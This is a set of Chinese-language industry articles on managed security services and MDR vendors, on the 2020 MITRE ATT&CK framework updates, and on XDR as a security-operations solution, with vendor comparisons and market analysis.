根据目前最新的统计数据来看，2019年，全球MSS服务的总体营收在115亿美元左右，增长率为7.5%。按照这个增长率来看，2020年估计在120亿美元以上，2021年大概在130亿美元左右。前五大厂商基本没有变化，IBM、AT&T、Atos、Secureworks、DXC和Verizon等前六大MSS厂商总占比为22.7%。

可以看出来大部分头部厂商，要么有SOC类服务，要么是以运营商为基础。尤其是前五大厂商，基本位置不变，是有其基本的壁垒的或者基本客户群体。不过中部的厂商有一些变化，尤其是并购导致的相关变动，比如博通收购了赛门铁克的服务部门转手给了埃森哲。

服务类型方面也有了一些新的变化，包括MDR服务、威胁狩猎、IoT/OT的监控、以及使用CASB产品进行SaaS监控。前两者对于安全服务有更高的要求，后两者主要针对于基础设施的变化而新增的服务类型。服务需求的提升大部分是跟产品供应商是一体的。服务内容的需求大部分情况是企业面对的数据源和安全工具更加复杂而高级安全人员短缺之间的矛盾导致的。EDR和NDR的产品厂商也是逐渐进入安全服务市场，逐渐成为新的MSSP和MDR厂商。尤其是EDR厂商，之前这些厂商并没有MDR的能力。在OT和IoT领域也有一个很大的增长，因为只有一小部分厂商能在这个领域提供这个能力，有一个高于市场的增幅。下面是对头部安全服务厂商（MSSP）的简要分析。

IBM

作为全球最大的安全服务厂商，IBM主要把精力放在X-Force的威胁情报服务上，并借由它的SIEM系统、SOAR以及第三方的EDR工具等提供检测、分析、自动化响应等服务内容。IBM的分析和运营平台为了增强用户体验和服务内容，增加了QRadar的UBA、Advisor和Resilient服务。

AT&T

AlienVault被AT&T收购之后，完善了整个产品服务体系，AlienVault既有Endpoint类型的产品，也有SIEM类产品，也有威胁情报。AT&T基于这些产品的售卖搭配相关安全服务，补全了其咨询服务和托管服务的短板，主要侧重于中等规模客户。

Atos

Atos的安全服务增长主要来源于IoT和OT相关的安全服务，还沿用了之前的SOC平台，使用大数据分析和机器学习的能力主动发现新的威胁和自动化响应。

此外，Atos收购了欧洲一家做数字认证的公司IDnomic，增强了其PKI的体系建设能力。

Secureworks

Secureworks的MDR服务是基于Red Cloak的TDR产品展开的，现在改名为Taegis XDR，其实是一种EDR的衍生产品。同时，Secureworks跟微软合作使用其Defender的ATP平台数据进行分析。

DXC Technology

DXC的进展较慢，并没有推出更多类型的服务，只是推出了下一代的SOC，并收购了Syscom来扩展其安全运营能力和服务管理能力。

MDR服务介绍

MDR（Managed Detection & Response）服务厂商基于主机、网络、应用以及云端的相关数据，提供威胁内容和威胁分析，使用的手段包括威胁情报和手动及自动化的事件响应，比如事件分类、调查、隔离等动作。威胁狩猎能力是一种高级能力，可以扩大实时的威胁检测能力并能够发现攻击的相关技术（TTPs），尤其是针对那些可以绕过传统安全防御和检测手段的攻击。

从上图可以看出MDR的服务范围：使用相关采集数据进行数据分析、威胁情报分析以及人工分析，完成从监控、检测、分析到隔离等相关操作。威胁狩猎能力作为高级的监控和检测能力得到了体现。

MDR服务有以下属性：

提供客户远程运营的7*24的现代级SOC；
现代级SOC包括利用可用技术完成威胁检测、调查和响应；
相关人员拥有相关技能，可以进行威胁监控、检测和狩猎、威胁情报和事件响应；
有标准的流程指导进行事件处置；
专注于高置信度的威胁检测和验证，并发现能够绕过安全防护机制的威胁；
远程的事件响应调查和隔离。这个能力要求特别突出，尤其是当代勒索软件事件的毁灭性打击，客户数据泄露甚至一些物理安全的相关问题。遇到这些问题后，对事件响应的及时性要求就会很高；
一个平台产品适用于所有客户，同时会使用用户行为学习和机器学习的相关分析能力；
会提供相关的威胁分析能力，不过针对客户环境的检测规则不能客制化。

MDR服务提供商也会提供一些特异性的服务类型：

漏洞管理。威胁检测和响应服务一般针对于安全运营水平比较初级的客户，更高的要求会向预防安全的角度移动，比如漏洞管理方面和合规方面，甚至包括日志管理方面的要求；
安全编排和自动化能力（SOA）。为了提高运营效率，一些MDR的供应商会提供这种能力，来加快事件的处置；
其他技术的安全保证。为了更早的发现和减缓攻击，服务内容也包括邮件和DNS的监控。

安全领导者越来越意识到，如果不相应缩短威胁响应的时间使之恢复到已知的良好状态，而只是减少威胁检测的时间，这是毫无意义的。这也侧面说明了MDR的核心价值所在：提供响应流程。及时和精准的事件响应需要时间和技能，这是很多组织欠缺的能力，尤其是在多种威胁同时发生的情况下。

MDR的购买者包括：

基本没有威胁检测和分析能力。没有安全专家，没有安全运营能力，只有一些基础的保护能力产品，包括多功能防火墙和终端安全产品，缺少安全数据采集，比如EDR或者网络包或者云端服务数据；
没有SOC。有一些基本的威胁检测能力，主要围绕某一种技术产品开展威胁检测和响应服务，比如以EDR为中心开展的MDR服务；
没有高级安全专家。组织没有能力去对高级威胁进行检测，只能借助于MDR的专家团队开展此项工作；
外包现代级SOC。将现代级的SOC外包给MDR厂商，组织自己只关注内部威胁和风险活动；
提高SOC能力。组织已经拥有SOC，但是系统MDR厂商提供额外的能力，比如威胁狩猎能力，是SOC的“另外一只眼睛”；
寻求差距。组织对于威胁无法进行安全技术的对应，无法针对某种威胁采取针对性的安全技术来进行检测，MDR的服务也可以回答类似的问题。

MDR的供应商也会根据自身技术积累的不同分为以下几种类型：

全栈技术提供者。使用两种或者以上威胁检测技术的提供者，客户一般没有直接选择产品的权利，因为只是交付服务，供应商可能选择两种EDR产品。比较常见的技术产品选择是多功能网络安全监控（NSM）和EDR产品，这种流量+终端的模式基本上从能力上能够保证实时的威胁检测和威胁调查。当然也可以加入其它的技术手段，比如威胁欺骗技术（蜜罐）、云服务、邮件和DNS的相关数据；
云端和物联网技术提供者。根据场景的不同提供相应的服务，比如针对于工控环境，需要监控ICS和SCADA系统，针对医疗环境监控IoT设备。当然有更多的MDR厂商会结合云安全三剑客产品来提供服务，结合CASB、CSPM和CWPP来提供云端服务；
单点解决方案提供者。托管的EDR通常伴生MDR服务，一般称为单模。托管的EDR只有有限的威胁检查能力，比如无法安装在打印机和PLC上；
集成式技术提供者。这些厂商提供现代级SOC产品，并使用客户现有的安全技术堆栈。结合客户现有的安全产品，并将这些数据收集在一起进行威胁分析。

MDR的市场在最近几年发展非常迅速，并演进到成熟的状态。无论对于云计算、物联网这种环境的服务交付；还是针对于SOC效率的提升，比如交付SOAR；还有针对于客户针对威胁响应的整个安全建设的建议；甚至还包括给客户提出哪些数据需要收集，在什么时候，什么格式，什么地点的一些建议，MDR服务都可以提供。

Forrester对于MDR厂商的评估如下面的波浪图所示。

虽然笔者对这个排名持怀疑态度，不过这几个方面的评估依据还是有些道理。

这些能力评估的方面包括：价值体现时间、威胁狩猎、威胁情报、协同、用户界面、机器学习、ATT&CK映射和使用、托管的检测、托管的响应、XDR的收集、关联和API能力、自动化和编排、系统重要性和指标这些方面进行评估。

下文对领导者区域的一些厂商的一些简单分析。

Expel

作为一个初创厂商，Forrester对其的评价是用户界面友好，用户体验很好，对于客户的服务透明性做的也很好，同时还展现了威胁狩猎的强大方法论。比如，下图就是这个威胁狩猎的过程，从12亿的日志中抽取1800个初始线索再到28个需要调查的线索，再到6个中等发现和2个重要发现，最终给出答案。同时在第一个阶段都是通过机器进行的筛选。

客户对该厂商的评价是技术和人员能力的完整性有待提高，但是该厂商给出的修复建议比较激进。

CrowdStrike

作为EDR的领头羊公司，CrowdStrike的服务同样有很强的竞争力，这也有赖于其SaaS模式的交付以及天然的威胁情报能力。其威胁狩猎能力也十分出众，可以看出来CrowdStrike结合报警和线索进行综合分析，然后形成事件，最终进行事件响应。在笔者看来，这个方式是最可行、落地性最强的一种方案，青藤威胁狩猎平台也使用了类似的方法论。

其服务规格也比较贴合MDR的描述：检测包括报警监控、分类和优先级排序和托管的威胁狩猎；调查包括高级的调查支持；响应包括指导响应以及托管的修复：隔离系统、消除持久性、移除组件、调整策略等。其服务是完全围绕检测和响应能力而开展的。

Red Canary

Red Canary作为近几年最火的MDR厂商，其能力还是比较突出的。除去之前讲过对ATT&CK的研究能力之外，其对威胁狩猎能力的评判也是通过对ATT&CK的覆盖来体现的。该厂商还提供终端、网络和云解决方案。

其中比较有亮点的是，Red Canary有SOAR产品用来融合加强其安全响应能力。

国内安全服务情况

根据IDC定义，网络安全服务市场分别由安全咨询服务、托管安全服务、IT安全教育与培训服务、安全集成服务四个子市场构成。具体比例就不表述。

其中，安全咨询服务属于专业服务的范畴，具体包括安全战略与规划、合规与审计（包括等保测评）、安全策略评估与开发、测试类服务、应急响应服务等多个咨询服务类别。

托管安全服务则是由第三方安全服务提供商运营的单租户解决方案，其中包括托管在客户本地的驻场托管安全服务（MSS-CPE）、远程托管安全服务（MSS-Hosted）和云托管安全服务（CHESS）三个子市场。

此外，IT安全教育与培训服务是一个教育活动和过程，其中包括企业级培训服务（包括安全意识培训、安全技能培训、大型赛事等服务）、教育认证（包括认证培训、认证考试等）和高校教育三个子市场。

而安全集成服务是技术服务提供商通过规划、设计、实施、项目管理四个步骤形成完整安全解决方案的服务，它涉及系统和应用程序的定制化开发，以及集成企业打包的安全硬件、软件服务等。

结论

本篇文章重点提及了MSS和MDR服务以及相关厂商，同时说明了国内服务的一些简单分类情况。MSS和MDR的服务内容有区别也有联系，可以看出MSS服务的内容本质上来说会包含MDR的相关服务，交集在于交付和运营方面。MSS的服务分类主要分为三个方面：交付、运维和运营。三者之间既有区别也有联系，在每个交叉的区域都有相关的服务内容。

MSS更像是传统的一些安全服务，但是这些服务对于国内来说也并不是很传统，远程服务就算是一种新的服务类型。MDR服务的重要特点有两个，一个是针对于威胁，另一个针对于响应。针对于威胁可以要采取多种数据来进行综合分析，高级的威胁分析方式就是威胁狩猎；事件响应更多是对于目前严重的威胁事件进行及时止损。从MDR的出现可以看出，大部分MDR服务都是由EDR厂商同时交付的，对于终端厂商是一个顺理成章的服务内容。当然其他的服务方式没有提及，相对来说也是成熟市场，包括了测试方向（渗透测试和红蓝对抗）、安全咨询、漏洞评估和数字审计和事件响应服务。

反观国内市场，大部分的托管安全服务内容还是以驻场为主，这根本没有真正发挥安全专家的作用，有些地方客户或者中小客户开始接受远程的服务内容，这也算一种进步。还有城市级安全运营中心，更多是一揽子的产品堆叠和安全管理方案，并没有看到更多面向实际威胁的场景。安全产品在国内层出不穷，安全服务也会有相应的一些变化和升级。

安全运营必须以服务进行交付。安全产品建设的伴生就会有安全服务的需求。一般来说，客户没有专家进行安全产品的运营，这就导致必须依赖于相关厂商对其产品有完善的运营方案，有相关的流程和人员才能真正发挥其产品的价值。无论是对于单品还是SOC类运营都有同样的要求。

安全服务不仅面向管理，国内的SOC建设更多的是向安全管理路径出发。在目前的安全威胁愈发严峻的环境下，需要面向于威胁进行安全服务建设的思考。

安全服务更加重视威胁。MDR就是针对于威胁的产物，如何更好地应对威胁，也是对服务高标准提出的要求。正如Forrester提出的威胁狩猎的分析管道，这就是MDR的核心区分点。

安全服务更加注重数据和分析。对于多种数据源的分析，这些数据源包括终端和网络数据包等。这些相关数据会让安全分析有基本的保障，如何选取数据，如何获取数据都是分析的重要前提。

随着安全建设和安全要求的不断深入，安全服务的重要性就会凸显出来。依赖于专家以及多种数据源和分析能力的安全要求会更多的出现，在这个趋势下，对于有数据源和真正安全分析能力的厂商而言是个机会。

阅读原文

跳转微信打开

ATT&CK 2020更新指南

Mon, 04 Jan 2021 20:08:00 +0800

程度 2021-01-04 20:08

ATT&CK框架更新的速度较快，在一年的时间内发布了三次大的更新.

前言

自上一篇《ATT&CK实战指南》发布以来，这一年间ATT&CK更新的内容比较多，有必要再写一篇文章来对这些更新进行说明。去年的ATT&CK版本是V6.3，目前的ATT&CK版本是V8.1，可见更新了两个大的版本，目前的ATT&CK for Enterprise包含了14个战术，177个技术以及348个子技术。根据ATT&CK的Roadmap来看，今年在社区的努力下更新了很多的内容。下面，本文将分几个方面进行说明。

子技术更新

子技术的更新是今年最大的变化，之前版本的ATT&CK只有技术的概念，没有子技术。

子技术是技术里面一些很特定的技术点，比如进程注入这个技术就包含了11个子技术：动态链接库注入、PE文件注入、线程执行劫持、异步过程调用、线程本地存储、Ptrace系统调用、Proc文件系统注入、EWM注入、Process Hollowing技术、Process Doppelgänging技术、VDSO截获。这些技术都属于进程注入的子技术，但是具体技术实现细节不一样，所以都从属于进程注入技术。

图1. 进程技术及其子技术

这样ATT&CK的具体技术ID的描述如下图所示，包括矩阵ID，战术ID，技术ID，子技术ID，缓解措施ID，组织ID和软件ID。

图2. 技术ID描述示例

2019年10月之前的版本转换到目前版本的子技术，ATT&CK社区提供了转换的内容，有JSON（https://attack.mitre.org/docs/subtechniques/subtechniques-crosswalk.json）和CSV格式

（https://attack.mitre.org/docs/subtechniques/subtechniques-csv.zip ）可以进行对照转换。

之前的技术转换成子技术的架构有7种形式：

1. 保持技术本身

2. 变成子技术

3. 一些技术合并变成新的子技术

4. 一些技术合并变成新的技术

5. 合并到已有的技术

6. 删除

7. 分拆成多种子技术

这几种变化，在转换的JSON和CSV中都有所体现。

图3. 技术转化成子技术的形式示例

随着子技术的变化，Navigator项目和CAR项目已经做了相关的变化。比如点开命令和脚本执行的技术就会发现有8个子技术的脚本引擎。

图4. 子技术的展示示例

网络技术的新增

ATT&CK之前的矩阵主要是主机端、云端、移动端和工控方面的内容，今年新增了网络方面的攻击技术内容的单独矩阵。从下图可以看出内容并不是很多，只有18项攻击技术，有些还是重复的相关技术，比如命令和脚本引擎。

图5. ATT&CK 网络矩阵

比如第一个技术初始攻击，基本就是涵盖了相关OWASP的相关攻击技术。

PRE和Enterprise合并

今年的另外一个重大变化是将PRE-ATT&CK和ATT&CK for Enterprise进行了合并，对ATT&CK 增加了两个战术，一个是侦查（信息收集），另一个是资源开发（工具开发）。

图6. PRE和Enterprise合并

笔者发现，之前的PRE-ATT&CK有很多重复的技术，内容不够精炼，不如ATT&CK那么言之有物，合并也是必然。因此，侦查和资源开发保留了一些精华合并到ATT&CK也是好事。

图7. 侦查和资源开发合并到ATT&CK框架中

对于侦查和资源开发形成了精简版本的PRE matrix，也是通过子技术展示的。但是基本上没有这些技术的缓解措施，而只是可以参照这些攻击的行为，做到一些暴露面的收缩。

图8. 精简版本的PRE matrix

检测中的DataSource说明

谈到ATT&CK的时候，我们谈论更多的是TTP以及检测和缓解措施，但是忽略了更重要的一点就是数据源。比如我们在实现ATT&CK的某种检测技术的时候，首先选择一个技术，然后了解这个技术如何工作的，确定数据源，再次设计检测场景，获取数据源日志，再进行检测查询，最后调整检测的漏报率和误报率问题。

图9.ATT&CK技术的检测流程

真正落地ATT&CK检测的产品，首先要考虑的就是如何规划数据源的问题。现在每一项技术/子技术都有数据源的说明。

图10. 技术/子技术的数据源示例

标准化地从这些数据源收集数据为后来标准化地检测攻击技术提供了很好的基础。

略过MITRE的分析过程，直接的结论就是将数据分级分类表达出来，比如下图首先是数据源，然后是数据组件，再是关系和数据元素，最后就是数据的最终来源Windows下的EID。

图11. 数据的分级分类

最终使用的过程就是先选择一个攻击技术，再对应相关的数据源，针对数据源中具体的组件进行对应。当然，前提是要了解到此种攻击技术检测的具体数据组件，再找到相关的数据根源，这可能来自于系统或者其他工具，比如sysmon等。有了这一套标准的数据格式，并按照这种数据格式做到尽可能全面的采集，才能做到攻击技术的检测。

图12. 标准化的数据收集

缓解措施更新

前面的几个版本的ATT&CK对缓解措施描述的比较少，而这个版本的缓解措施（Mitigations）还是言之有物的。目前每个技术和子技术都有相关的缓解措施。以命令和脚本引擎为例，可以看出缓解措施的相关内容。

图13. 缓解措施示例

一共有五种措施进行缓解，第一个是防病毒，可以自动隔离文件；第二个是脚本签名；第三个是禁用和删除不需要的shell或者脚本引擎；第四个是使用应用控制；第五个是进行权限控制；第六个是限制web层面的内容执行。

检测能力主要是通过数据源收集并分析得出的结果，缓解措施基本都是事前的技术手段，也可以很好地从攻击面减缓的角度来减少这些攻击技术的危害。除了从攻击技术来看缓解措施，也可以从缓解措施来反查能够缓解哪些攻击技术。

TRAM项目介绍

简单来说，TRAM（Threat Report ATT&CK Mapper）项目就是将自然语言书写的安全报告中涉及的ATT&CK技术标记出来。现在越来越多的安全报告会提到很多的技术，但是要对照到ATT&CK上可能需要完全学习框架所涉及的200多种技术，这样的工作量比较大，无论对于厂商还是ATT&CK社区来说都是如此。TRAM项目可以通过安全报告迅速地分析出这种安全事件中使用的ATT&CK内容包括哪些，如果有些不存在，也可以人工补全。

本质上来说，这个过程是一个机器学习过程，用到的技术主要是NLP（自然语言处理），首先先获取相关的数据，包括之前标记过的相关的信息，以及相关的对应技术；然后进行相关数据的清理，也就是重复确认；其次就是开始相关的训练，针对相关的描述语言对应相关技术；再次进行报告的收集，进行测试，再之后就判断是否对应正确；最后就，如果对应不正确，就需要重复这个循环过程。这个过程中主要使用的技术环境是Python的Sci-kit库，以及使用的算法是逻辑回归。

图14. TRAM项目的运行原理

这个项目目前已经在Github上开源，使用方法是输入一个URL的报告地址，比如PA的安全报告地址，输入一个标题提交，就开始分析这篇文章了。

图15. TRAM项目的使用

分析的结果会以高亮的形式提示，右边会弹出相关的ATT&CK技术。这个项目很明显主要是针对于英文的，没有中文的报告可以解析。如果按照这个思路去思考，建立国内的ATT&CK标准，再利用这样的引擎进行转换，也可以统一大家描述攻击和形成报告的语境。

图16.TRAM项目的映射结果示例

云原生技术的ATT&CK

随着云原生技术的普及，对于容器技术的安全也日益重视起来。微软根据相关容器编排工具（Kubernetes）可能遇到的安全攻击，根据ATT&CK矩阵设计了一个针对Kubernetes的安全攻击技术矩阵。

图17. ATT&CK for Kubernetes

目前，一些厂商已经根据这些技术做了相关的产品化。

图18. ATT&CK for Kubernetes示例

这个矩阵目前还不算是MITRE的官方项目，不过会根据社区的贡献进行相关的规划。可以看出来ATT&CK这个框架的普适性比较强，跟其他的技术结合，就可以枚举出相关的攻击技术，在我们采用相关新技术的时候可以全面思考可能遇到的安全状况。

ATT&CK会议变化

前两届的会议都是集中式的一天会议，而今年的会议叫做Power Hour，分为4次，从2020年10月开始，一个月一期，每期维持在1个小时左右，一共有四期，一直持续到2021年1月。会议上会针对这些更新或者一些社区成员的使用场景进行了一些说明，会给大家一些新的角度。比如美国Temple大学使用ATT&CK相关框架进行网络犯罪教育的素材，最重要的是提供了一些关键基础设施的勒索软件的数据库。FPT集团使用ATT&CK作为通用语言进行威胁狩猎，并对威胁狩猎和威胁检测做了区分。威胁狩猎是主动性地发现更多的威胁，但是需要高级的安全专家并耗时进行搜索和分析；威胁检测是被动性的，成本比较低，但是需要更多的事件进行误报的排查。其他的主题也重点的介绍了在云计算和工控方面的应用。

图19. 威胁狩猎与威胁检测的异同

总结

本篇文章是继《ATT&CK实战指南》之后的一篇更新指南。在社区的努力下，ATT&CK框架更新的速度较快，在一年的时间内发布了三次大的更新，重点的更新内容是：子技术更新、PRE矩阵和Enterprise结合。需要关注的一些细节是数据源的内容和缓解措施的相关内容，之前框架里面强调的并不是很多。后来，又新增了相关的TRAM项目，可以方便大家针对安全报告迅速对应ATT&CK的相关技术。ATT&CK框架适应能力比较强，可以针对新技术对安全进行全面的思考，比如云原生的相关安全风险，也可以按照这个框架进行梳理。笔者也观察到，相关人工智能的相关攻击技术也在按照ATT&CK的架构进行梳理。

阅读原文

跳转微信打开

XDR是安全运营的最佳解决方案吗？

Wed, 14 Oct 2020 18:00:00 +0800

原创程度 2020-10-14 18:00

在主流市场上，XDR正在成为安全界的“新宠”。

XDR是Gartner今年的《Top Security and Risk Management Trends》报告中提到的第一项技术和解决方案。在代表趋势的Hype Cycle中，有两个重点的Hype Cycle都提到了XDR这个关键技术。

图1：终端安全成熟度曲线2020

图2：安全运维成熟度曲线2020

同时，国外各大厂商也在不断的宣传自己的XDR解决方案，包括Palo Alto Networks、Trend Micro、Cisco、McAfee等。

此外，在今年Gartner线上的Summit在主题演讲《Top Trends in Security and Risk Management》中的八大趋势中，第一个也是XDR，作为SIEM和SOAR的替代方案出现在主流市场中。

图3:《Top Trends in Security and Risk

Management》中介绍的Top8趋势

XDR演进路线及其定义

XDR是一种新技术，它的演进路线又是如何呢？提到XDR，不得不先提及一下EDR的发展路径。

图4：EDR的发展路径

EDR首先脱胎于EPP这种传统的安全产品，最终在使用机器学习、行为分析、威胁狩猎等领域极大加强了终端上的安全能力。EDR之前的核心能力还在于杀毒能力，加入了机器学习后作为高级的杀毒能力，再到后面变成了EDR，着重于检测和响应能力，将来会发展到响应能力的自动化，包括了威胁情报，以及SOAR的对接等。

图5：终端保护工具的演进

其核心能力金字塔跟CWPP类似，可以看出来EDR的重点区分点在于行为分析、异常检测和响应以及威胁狩猎。底层的能力都是传统EPP的范围，包括了杀毒、内存保护、应用控制等功能。

图6：终端控制措施金字塔

从名字的演进来看，以及厂商的解决方案来看，XDR跟EDR的关系最近，同时终端类型的安全产品也是在事件响应中最重要的产品。但是XDR是一种解决方案型的产品，在安全运营体系中加入了一些有实际安全价值的产品中，以此来提高整体的检测和响应效率。

XDR在Gartner的定义是：SaaS类型的安全威胁检测和响应平台，集成了大量的产品，并统一了相关license收费，具体产品功能视厂商而有所不同。XDR产品主要有三大价值：1. 直接集成安全产品开箱即用；2. 有统一的安全数据归一化和中心化可供分析和查询；3.由于有多种产品的配合和协调，因此可以改进检测的敏感性；4.多产品联动处理改变单一产品的响应过程。XDR产品的最小集合需要有威胁情报的持续更新，以及需要数据的归一化和中心化处理以便分析和关联。标准化的解决方案需要SaaS的存储，图数据库的支持分析，集成相关的安全产品，包括EDR、防火墙、SEG、CASB、CWPP等等。

如下图所示，XDR的概念架构主要集中在终端客户的保护形态上，当然也可以在数据中心保护，IAM或者是SASE的保护上。从下图可以看出，终端客户的保护上需要最上层的一些安全产品，然后是数据的归一化，以及数据湖再到数据关联，从而形成事件响应、自动化、工作流以及API的相关价值。当然在数据中心、身份安全以及SD-WAN的场景下也可以使用类似的架构来保证其特殊场景的安全。

图7：XDR概念架构

XDR的价值与风险

讲到XDR的价值，最直接就是两个：一个就是能够提高安全运营的效率和价值，增强检测和响应的能力，可以通过集成多种安全产品并统一进行安全理解；另一个就是降低安全运营的复杂度。一个统一的解决方案，可以统一在一个产品界面进行安全问题的解决，而不需要每个产品进行单独的对接调整，降低了安全运营的对接成本和使用成本。

讲到这个价值，自然而然就会想到SIEM这种类型的产品，他们之间的区别又是什么？XDR跟SIEM最大的区别在于集成模式的部署上以及目的上。XDR可能自带一个统一界面以供直接集成相关的安全产品，而SIEM更多的需要一些单点的产品与其进行定制的对接。XDR更多的关注与威胁的检测和响应，而SIEM更多的在于报警的集中处理和存储以及合规的考虑。

XDR的厂商本身会拥有相关的安全研究团队，针对于每一种安全攻防技术和产品检测会有深入的研究。然后再集成相关的安全产品来解决这些安全问题，可以使用SaaS交付甚至可以使用云原生的架构。但是目前XDR的解决方案都是一个安全厂商整体提供的，一般来说都是有比较长的产品线的厂商，从中选取比较有安全运营价值的安全产品形成整体解决方案，包括Cisco、 Fortinet、 McAfee、Microsoft、 Palo Alto Networks、 Trend Micro、 Sophos、 FireEye 和Symantec等厂商。

对于每个厂商来说，要真正实现XDR解决方案所宣称的价值都是巨大的挑战。所以在客户自行进行对接时，比如使用SIEM来对接每个单点的安全产品，也会出现更大的问题，比如要协调沟通各个厂商。由于每个厂商并不熟悉其他厂商的产品，所以很难做相关的关联分析和联动。鉴于缺乏数据，对于数据缺乏理解，没有归一化，不同产品的数据库也不一致，这就很难打通不同厂商的不同产品，甚至打通一个厂商都有挑战，因此，建设一个有效的XDR解决方案还是比较困难的。

另外，对于企业来说，安全运营在以下两个方面始终面临着挑战：一是员工的招聘、培养和留存；另一个是安全运营体系的在威胁检测和响应上的高效。同时这两个问题交织在一起很难解决。

XDR的核心优势体现在三个层面：1. 改进保护、检测和响应的能力；2. 提高安全运营员工的效率；3. 降低获得有效检测和响应能力的总体拥有成本（TCO）。

在改进保护、检测和响应能力上，可以使用共享的威胁情报联动对每个安全组件进行检测，比如网络和终端的安全组件；也可以将一些低级别的告警合并形成一个高级别的事件；同时通过关联分析和自动化报警确认发现报警；对警告进行相关的分类分级。

在提高员工的生产率上，可以将大量的告警转换为少量需要人工调查处理的事件；提供所有安全组件的能力，让安全调查更加快捷方便；提供更多的响应方式，包括网络和终端等方面的；对于重复的工作可以做到自动化；可以减少对Tier 1人员的培训，只需要相关的工作流和管理流程；提供相对高质量的检测方法，并不需要太多的调整。

XDR解决方案本身的特质决定了这种产品的开箱即用的特性，所以客户一般只在乎是否能够实现实际价值，在交付中并不用考虑跟SIEM产品一样要对接各种各样的安全产品，然后还要考虑整体UseCase的设计以及关联分析的深度问题。

一般来说，安全市场都是在每个细分行业选择最好的安全产品，而不是选择这种方案型的套装。一个安全产品成熟了，市面上安全产品的领导者就会成为这个市场的定义者。安全行业发展到目前，基础架构的产品趋于成熟，一部分厂商已经拥有了相关的产品组合，所以集成这些安全产品变成了水到渠成的事情。同时利用大数据和机器学习又可以很好地提升安全能力。

在每个品类中采购最好的产品的思路会导致安全产品太多，但是很少有集成和联动。安全报警会过多，经常会无人值守，也没人经常性地去调整策略或者测试其有效性，升级一般也比较滞后。传统的企业的结合点在SIEM上，但是SIEM的优势在于收集日志，但是很少能改进检测的效率和真实性，也很少用到上下文分析和相关安全产品的关联分析。所以，对于企业来说，开发SIEM的Use Case以及深度和丰富的集成异构环境的产品是很难的事情。

XDR这类解决方案型产品就是应对这些挑战而出现的。XDR降低了对接各个厂商的成本，同时就可以开箱即用一些现成的安全事件剧本；也可以让一些务实的企业不用采购每个细分行业的最佳产品，而是直接打包一个产品来提高整体的安全运营效率。

XDR的核心能力要求有两个：一个是使用大数据技术，可以进行数据的收集、归一化、索引、搜索等等；另外一个能力使用多种检测技术，将每个安全技术检测点进行结合放大，把报警归结为事件。

XDR这类解决方案的产品目前还处于初期阶段，后续的发展演进路线可能出现风险。比如事件管理的基础问题就是新的事件源和数据量不断增加，所以会导致更复杂的分析、集成、检测和响应，XDR只能改进这个状况，并不能解决这个问题。XDR可能会导致对单一厂商过度依赖，会导致厂商锁定，也有可能牺牲某些组件的能力，而不能选择某个品类中最好的厂商。XDR可以提高效率，但是有可能牺牲一些能力。虽然集成了一些安全组件和能力，并不见得可以解决某些深度的安全问题。XDR的厂商一般只会提供自家的产品，但是产品是否有效就不见得，XDR可能变成一个集成方案而不是真正有价值的产品。提供XDR的厂商一般都是大厂商，一般来说演进速度要慢于创业公司，尤其是某个品类中的最好的公司。为了保证领先性，还需要通过收购或者集成的方式来保证竞争力。XDR厂商同样有一些盲点，需要集成其他安全厂商的产品，所以要考虑盲点的问题，来解决安全场景100%覆盖。一些新兴的SIEM或者SOAR厂商在集成某个门类中最优秀的产品来形成解决方案，这对XDR产品有极大的冲击。这种叫做OTT的安全能力，比如SOAR的一些新兴厂商就使用这种杠杆来实现这种效果。XDR的采购周期一般会比较长，可能企业安全负责人的任职周期都没有采购周期长，这可能会影响XDR产品的成功。

厂商的解决方案

下文将介绍厂商的一些评估标准。

Hunters.AI

Hunters.AI在介绍自身时是说开放的XDR解决方案，并能够利用丰富的终端、网络和云端的数据进行自动的威胁狩猎。这是一家专业的XDR厂商，重点在于强调其威胁狩猎能力。

图8：Hunters.AI XDR产品界面

这张产品截图说明了很多问题，最上面Raw Events主要是指收集的终端、网络、云端以及身份认证的数据，Leads条目可以理解为一些潜在的线索，Hot Leads是比较重要的线索也是经过AI算法或者做了优先级排序得到的相关数据，Hot Stories可以按照事件的时间、地点、路径、上下文等相关信息把威胁进行串接，形成一个完整的安全故事。这个产品最核心的能力就是自动化威胁狩猎发现所有其他安全产品无法发现的安全问题。产品实现分为四步走：第一步收集相关的数据，包括终端数据、防火墙数据、云平台数据、身份认证数据、甚至是wifi数据，可以通过各种方式包括syslog或者API的方式进行对接。第二步做自动化的调查分析以及威胁狩猎，使用威胁情报，以及TTP的相关行为，主要基于MITRE ATT&CK框架进行分析，使用机器学习，最终也对事件进行分级排序。第三步做相关的关联分析以及可视化表示。根据相关威胁的关联性，包括时间维度、位置、威胁上下文、IP等信息进行聚合，并利用图数据库来表示威胁的前因后果，可以按照完整的“安全故事”呈现出来。最后一步就是将分析的结果对接给SIEM或者SOAR这些产品，可以进一步归总或者进行相关的响应。

Palo Alto Networks

PA的XDR解决方案也集成了网络、终端和云端的各种数据，基于存储和分析的能力，对外提供威胁发现和狩猎，以及自动化调查和威胁响应。

图9：XDR打破了检测与响应的传统竖井

XDR中的X被PA解读为各种数据来源。根据PA多年的积累以及与所收购的各类公司的良好集成，PA的XDR解决方案包括了SIEM、UEBA、NTA和EDR等产品，能够很好的集成在一个解决方案中，打破了之前的每个产品都是一个竖井的情况。按照自适应架构最终形成了闭环，从保护、检测、调查、响应四个阶段都能有相关的数据、功能得到实现。

图10：XDR不断进行自适应调整，增强防御能力

根据PA对XDR的理解，XDR常见的使用场景包括：威胁分级、威胁调查和威胁狩猎。在威胁分级方面，又包含5个步骤的动作：第一步是评估，包括外部报警、集成在SIEM中的报警、也包括内部的报警，主要是一些安全产品的报警，去确定是否是潜在的威胁行为；第二步是优先级排序，对这些报警进行自动分组进而变成安全事件，对于这些事件进行安全优先级排序，以便于安全分析师进行进一步分析；第三步分析，分析师可以进行可视化攻击链分析，这点是核心能力表现。第四步信息富化处理，根据攻击链的需要，需要更多的上下文以及不同设备的数据，所以需要更多的相关攻击信息上下文，可以做到根本原因分析；最后一步是验证，根据上述所有步骤的自动化，可以极大减少分析人员的手动行为，分析人员只用在信息富化的环节参与，可以将大量的事件投入在如何响应的环节，考虑如何缓解威胁等。

图11：使用XDR实现攻击链可视化

为了减少手动的调查威胁的事件，XDR可以加速这个过程，比如查询报警、查询威胁情报、查看相关网络相关细节等。如果在传统的方式下，需要手工的收集，在脑子中将这些信息进行聚合，并且要花费大量的时间。XDR可以自动化这些过程，并且分析出根本原因，并且进行攻击的时间线绘制。

